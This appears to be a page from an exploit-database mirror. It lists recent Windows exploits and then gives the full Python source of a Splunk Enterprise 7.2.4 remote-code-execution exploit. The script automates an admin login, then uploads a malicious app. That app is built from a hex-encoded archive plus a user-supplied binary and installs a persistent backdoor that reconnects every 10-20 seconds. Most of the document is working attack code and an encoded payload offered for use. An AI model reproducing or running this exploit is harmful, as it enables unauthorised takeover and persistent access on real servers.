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"Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload)"

Author

"Matteo Malvica"

Platform

windows

Release date

2019-03-04

Release Date Title Type Platform Author
2019-05-24 "Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption" remote windows "Simon Zuckerbraun"
2019-05-24 "Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow" local windows "Uday Mittal"
2019-05-15 "Microsoft Windows - 'Win32k' Local Privilege Escalation" local windows ExpLife0011
2019-05-22 "Microsoft Internet Explorer 11 - Sandbox Escape" local windows SandboxEscaper
2019-05-22 "Microsoft Windows (x84) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-22 "Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 (17763.379) - Install DLL" local windows SandboxEscaper
2019-05-24 "Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)" dos windows Achilles
2019-05-24 "Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-23 "Terminal Services Manager 3.2.1 - Denial of Service" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Share Name' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Add Block' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-22 "TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "TapinRadio 2.11.6 - 'Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "BlueStacks 4.80.0.1060 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-21 "Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "Huawei eSpace 1.1.11.103 - DLL Hijacking" local windows LiquidWorm
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "docPrint Pro 8.0 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "PCL Converter 2.7 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "Encrypt PDF 2.3 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
Release Date Title Type Platform Author
2019-03-04 "Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload)" webapps windows "Matteo Malvica"
2019-02-21 "RealTerm Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow (SEH)" local windows "Matteo Malvica"
2019-02-06 "River Past Audio Converter 7.7.16 - Buffer Overflow (SEH)" local windows "Matteo Malvica"
2019-01-28 "CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)" remote windows_x86-64 "Matteo Malvica"
2018-12-21 "AnyBurn 4.3 - Local Buffer Overflow (SEH)" local windows "Matteo Malvica"
2018-08-27 "CuteFTP 5.0 - Buffer Overflow" local windows_x86 "Matteo Malvica"
2018-10-09 "Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)" local windows_x86-64 "Matteo Malvica"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46487/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46487/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46487/40941/splunk-enterprise-724-custom-app-rce-persistent-backdoor-custom-binary-payload/download/", "exploit_id": "46487", "exploit_description": "\"Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload)\"", "exploit_date": "2019-03-04", "exploit_author": "\"Matteo Malvica\"", "exploit_type": "webapps", "exploit_platform": "windows", "exploit_port": null}
                                            

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#!/usr/bin/python

# Exploit Title: Splunk Enterprise 7.2.4 Custom App RCE (persistent backdoor - custom binary payload)
# Date: March 1, 2019
# Exploit Author: Matteo Malvica 
# Original Author: Lee Mazzoleni
# Vendor Homepage: https://www.splunk.com/
# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Version: 7.2.4
# Tested on: kali 4.18.0-kali2-amd64
# CVE : n/a

# NOTES: Due to python interoperability issue on CentOS, I have upgraded the exploit to
# support any kind of binary or payload so the exploit does not have to rely on any python libraries

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep
from sys import stdout,argv
from os import getcwd,path,system
from subprocess import Popen
import os
import stat
import binascii

# Download and unpack the correct version for your OS from here: github.com/mozilla/geckodriver/releases
gecko_driver_path = '/root/Desktop/geckodriver'

def checkLogin(url):
	if '/login' not in url and '/logout' not in url:
		print 'Login successful!'
	else:
		print 'Login failed! Aborting...'
		exit()


def checkUrl(url):
	if '_upload' not in url:
		print '[-] Navigation error, aborting...'
		exit()


def exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass):
	print '[+] Starting bot ...'
	profile = webdriver.FirefoxProfile()
	profile.accept_untrusted_certs = True
	driver = webdriver.Firefox(firefox_profile=profile, executable_path=gecko_driver_path)

	print '[*] Loading the target page ...'
	driver.get(splunk_target_url)
	sleep(1)

	stdout.write('[*] Attempting to log in with the provided credentials ... ')
	username_field = driver.find_element_by_name("username")
	username_field.clear()
	username_field.send_keys(splunk_admin_user)
	sleep(1)

	pw_field = driver.find_element_by_name("password")
	pw_field.clear()
	pw_field.send_keys(splunk_admin_pass)
	pw_field.send_keys(Keys.RETURN)
	sleep(3)

	current_url = driver.current_url
	checkLogin(current_url)

	url = driver.current_url.split('/')
	upload_url = url[0] + '//' + str(url[2]) + '/' + url[3] + '/manager/appinstall/_upload'
	print '[*] Navigating to the uploads page ({}) ...'.format(upload_url)
	driver.get(upload_url)
	sleep(1)

	current_url = driver.current_url
	checkUrl(current_url)

	form = driver.find_element_by_tag_name("form")
	input = form.find_element_by_id("appfile")
	input.send_keys(getcwd()+'/'+'splunk-shell.tar.gz')
	force_update = driver.find_element_by_id("force")
	force_update.click()
	submit_button = driver.find_element_by_class_name("splButton-primary")
	submit_button.click()

	print '[*] Your persistent shell has been successfully uploaded!'
	print '[*] Be patient, this might take up to a minute...!'
	driver.quit()


def generatePayload(shellcode):
	# this hex decodes into the evil splunk app (tar.gz file) that we will be uploading as the payload
	# after the app is written to disk, together with the provided custom shellcode.
	# the app configuration sets it to be enabled upon installation (restarting splunk / manually enabling it is not required.)
	# this is a PERSISTENT backdoor, there is no need to re-upload multiple times... the backdoor will reconnect every 10-20 seconds

	# CHANGED: the compressed app folder structure is loading a custom binary from inputs.conf
	print '[*] Creating Splunk App...'
	shell = '1f8b0800e229795c0003ed9c5b6fdbc81580a95c363283b65ea068b7401f06711749dc58e24da4ad34ad9dc44183a6dd20f2260b288a322247126b8a6449cab2374d11f407f4bddbd75efe47db97bef5adfd237def197264eb6ad95959c93ae703a42139c3b99d396766c8e1c4a1d7f577d7e236f3bca27436288a62954a2475cdcc553423730544d50dddd434c3d44ca2a8866ae812299d517e86e8c6098d202b1d9a242c981e0e82359bc7c423ca71e87e438807e55fa817ee57ea952488d83cd380fa300d63bafc556b40fea606f2371543958832cf4c4ce30397bf74f97b57a40b92f44b6a93cf2ae40b22e0d7a425f869f07b003f7ebecf6fe887d85c9e16e5d6cece1371b8dfbf0b793f19d6ffb3d0fe59faaf1a8a628ce87fc9d44aa8ff0b2277b7eba892c4d5392f65ee257972d0bcf88d7141b81ff1f8781c71d8f082069cfdab11ce3dc70882cc1baebb17a586e44a7ea337a8bf9e1b278af29fdc858b972e7f74259f97f3f2b7e45aa51df42a094dbaf15d1a55f9d9639ab41be2782708bcc363da78eab25e7df9bbf7023fa1aecfa2f466d76110e4f933d77782dedda0eb3b7175c0239f5fca2fd5973f79f54a2f29b788baa1bdbe455e59161c435ff1faf552fefb9faa771ebeec1c7cf9eab7af7ff7c7ac14b99c28ce77468af7d551f1f62a91ef057e4b4a8d95744572242635252a75254f4ace6be1478a39520997e15a20d9e0eb0d54c0fffa15f0df7e052cc95797ae7efbead27015d4977f2832fecc7592f60ef3b73db6c7fccfa247346173ab95c19aceaf6c36ff9d166e564de57f70fdc19317dddfffe1ab3ffdf92f7ffddbdfff3152591f8f54d63f87ab63a4a2ce25a260f9abef361b0882bc8770fb4084bb29dc37999b13fe17847b69e09e65e112e16e0af74de6e644b80bc2bd24dcbc7097854b84bb29dc37992b8c564e4c3e7222e59c98a1e4c4038a1c11eee6a98a8c201f0c17336799f7ffdbd3e7ff08829c637297ee57eedf95a6cf74785f4be0f7b27f8334792020c2f2aef813e9282c11eea670df642e0e0410044116cdd0fbbf86eb9fc51a90d3acffb00c85afffb05405d77f2c8221f93bac49bb5e32ef367042f96b9a6a6a4a89cbbf542a6928ff4530247f2fb0e919ac02e37217557352f96b8a89f25f0423f26fc567d001bc85fe2b16eaff4218923f0dc398457b2c9a6f2338bdfc4d552fa1fc17c190fc3b2ca10e4de89c6dc05be8bf85f67f314c967f3a1028f0d379a401f5611ed7ff5b9a35227fcb344c5cffb708aa60f38bae0fa503f90bb71e07ddc86675bbcdecddb8dba9c9d025c46ee0933bc42a68055dee044ee276189cab25a3b4a199d6ba52009d35d761a0a7c8f250acf09fb013c56115f40d5dd7b42c8e9a4c6d9bc53184881875489954c92aa9dd22bdc84d58ff5466fb61102510283e8813d6999dce7a492f6c94544b578ff2da75676710caa7140c553537cca31b3ddaf5a19ea29a1cf47c164160ea745cffa491e99abe7e145948ed5dda62c5b4e2ebcd20aa7743d047169f3873869295eac4f29facff622238270b0019328e5bffafebfab0fe6b60012cd4ff4570522d93ab611484713166bed3a1ae571c57bcbe02f84123700e64796565853c7db8fdacb2b3b5b35d2913be1e0c3ca30ef54817c6993189db41d773488311daf018490262431e20d5b84d23e6903d97f552eb1143fa472727ccf2bbaeda6f0453c6ffbca25d7b4ee3c0d38fff2c433370fcb7088e973f5cf05c1b0e03bf60c7f15ba631c3feeb9aa18dd87fcd3014b4ff8ba0b84aeeb5a9df02ebdb06331c86c40b5a0181110d2b1012b324bdde666eab9d147b7c6d2f81710939801122713b3058b945684c7ad07ab8cbc38614c28029e7c76908b25a940b10f3231ef12b997f3b96c55726861eeedf26e9a534ee325957e04a7aa10183a156c49700974937f26ef4dba4db6915e35d185c1e3eaeceda709d67bcdef0e0b642e8b76e4257b316b110fa13024d2a8bb3fe75226db9cdb1485fcb32d4e04e37f2090cce7891c5fd240c6297eb8debb748d04cbdae55d238c9e3a007d5eb5c1baa6a5e49599ac27ba0ba8aabab72f6d1dd2af9dcb7834e87f999609a81e7053d9e86e7fa2c26377a2ed4fe75c785a8e8c175c23b6d16252e8b6f72994087db4bef4b53e66966d113714399ac75822fd75c9fc7b6067563ef661577e82fbc1a3043dcbdcd2318cb609aef341bbd36ef8e13b69f1c7a9235d21d2c400cfebd805c3f92cb609e89dbe42dedba03a5db85d649862b302bc5485203851a103697f5b599c20eb37833a1a751f296746d50eab11d419573e19324a27e1cc240c54fc65bd75b2708adec240942317911b92e3edc3607bcec03ee05c8877f93a59336ea61e99cbd70e6269d433d5f94740e6dc0bca5236ca1a6f70d5f87462dd75f4b82b0ac1e5ecccca359e2e799d191bb5c3e6d37e68a2df433d56d9fc2bc50981c30bb852c64aab6595afc06eafc1a7a3e423db7e5a7f24e25c54b5a00c1ca6e735254041273fd430372abdf410ce5a10cd5e3b3db503a61f77f0e6374163d8be010e6076d5518353bf082a8bc62e9b45412e679208fa26f80b2beeb1ef27c33fefe87cfeee0608e69cc9aff2b8a3afafcdfd0f0f9df4240f5fab099aaff05756e69bc85fe974cfcfe7f21a0fe7fd84c58ffc3c78c76e01fd7d84fc7acf77fa0fba3fa6feaa8ff0ba12aded2d5e4f4d93ab94398cf1fc63bb25ce52fc5dcb8bee7c62e7f3c7f87a870f1e885975c15efab6af2d80bab34f0bb2e1b329b89eb3fe76c0166e9bf668deabfa55a06eaff22588169f753f16e592d2805455ee93fc8e1137ede0adc56374a5f0190a6eb3150fb31930133ffcc664c59400041b4f5e686696ea84c5159c3341c47b7b566c3b42d4a9beb8a61db25bb411bdac624b3d3a45ecc648f3698c7df36f2a6ba069943fb320726eabfeb3b6c9fc5f3b201b3c6ff9a35f6fe1f0c06eaff2218d3ff0218807be95bf8985012d34e083a983688f471a6b8c05789146479a59a9dd7e49576d0617c671688ef0ef951e5f1a3cf7ff58bfafdbbc52c40d169c82b76e039c704e1de3c58d2a63d96059c142cf38680efbaeace0513f53f5dea31bf11c02cfd57cdd1f9bf5542fd5f0c83fa9fad2c039d166b7c40ab1f3cdc7e747febd1c3adca5a276eb90e686407feb72a243d9557b6bfd879b2756f67ed37a95fffceea8be7b5daeaf35af979fce31b3ffb0978feb4faa25c5bbd5946ad7dbf98d2ff87dd647e0660b6fe5b47fb7f96f8fe9f9665e2febf0b61d2f8ffb0fbf749da122674fcd5d88edc3029178b85f4ab51b6c7cd457f1e00964081b940c2a23dea115591b3f9407210a6c3f9ae8f56e07d61ecfbdf33d8035c39c5fedfd9f7bfa6a9e0fbbfc580fb7f7fd08cebfffcf7003f5eff87f7ff16faaff3ef3f51ff17c284fdbfa54f27079db9ff771a9f88034110044190f71bdcff1b419069e0fedf08727e19d9ff7bdafc1f419073ccccfdbff9f59703c76fa4e98300dcff1b41100441100441100441100441100441100441100441100441100441ce86ff0365f75f'
	bytes = shell.decode('hex')
	f = open('splunk-shell.tar.gz','wb')
	f.write(bytes)
	f.close()

	if shellcode == "evil":
		print "shellcode filename needs to be different - please change it"
		exit()

	print '\t==> Adding custom shellcode'
	# custom shellcode loading
	with open(shellcode, "rb") as binaryfile :
	   	evil_bytes = bytearray(binaryfile.read())
	f = open('evil','w')
	f.write(evil_bytes)
	f.close()
	st = os.stat('evil')
	# making the binary executable
	os.chmod('evil', st.st_mode | stat.S_IEXEC)
	decompress_cmd = 'tar zxvf splunk-shell.tar.gz &>/dev/null; rm splunk-shell.tar.gz'
	p = Popen(decompress_cmd, shell=True, executable='/bin/bash')
	p.wait()
	move_cmd = 'cp evil splunk-shell/bin/'
	p = Popen(move_cmd, shell=True, executable='/bin/bash')
	p.wait()
	compress_cmd = 'tar zcvf splunk-shell.tar.gz splunk-shell/ &>/dev/null; rm -r splunk-shell/'
	p = Popen(compress_cmd, shell=True, executable='/bin/bash')
	p.wait()
	if path.isfile('splunk-shell.tar.gz'):
		print '\t==> Payload Ready! (splunk-shell.tar.gz)'

def showUsage():
	print '\n\tScript Usage: {} <targetUrl> <username> <password> <shellcode>'.format(argv[0])
        print '\tExample: {} http://192.168.4.16:8000 admin changeme shellcode.bin\n'.format(argv[0])

if len(argv) != 5:
	showUsage()
	exit()

if not path.isfile(gecko_driver_path):
	print '\n\t[!] This program requires geckodriver, download the corresponding version for your OS from the following link:'
	print '\t\t==> https://github.com/mozilla/geckodriver/releases'
	print '\n\t[!] Extract the geckodriver binary, then add its full path to line 20 of this script.'
	print '\t\t==> gecko_driver_path = "/tmp/geckodriver"\n'
	exit()

splunk_target_url = argv[1]
splunk_admin_user = argv[2]
splunk_admin_pass = argv[3]
splunk_shellcode  = argv[4]
generatePayload(splunk_shellcode)
exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass)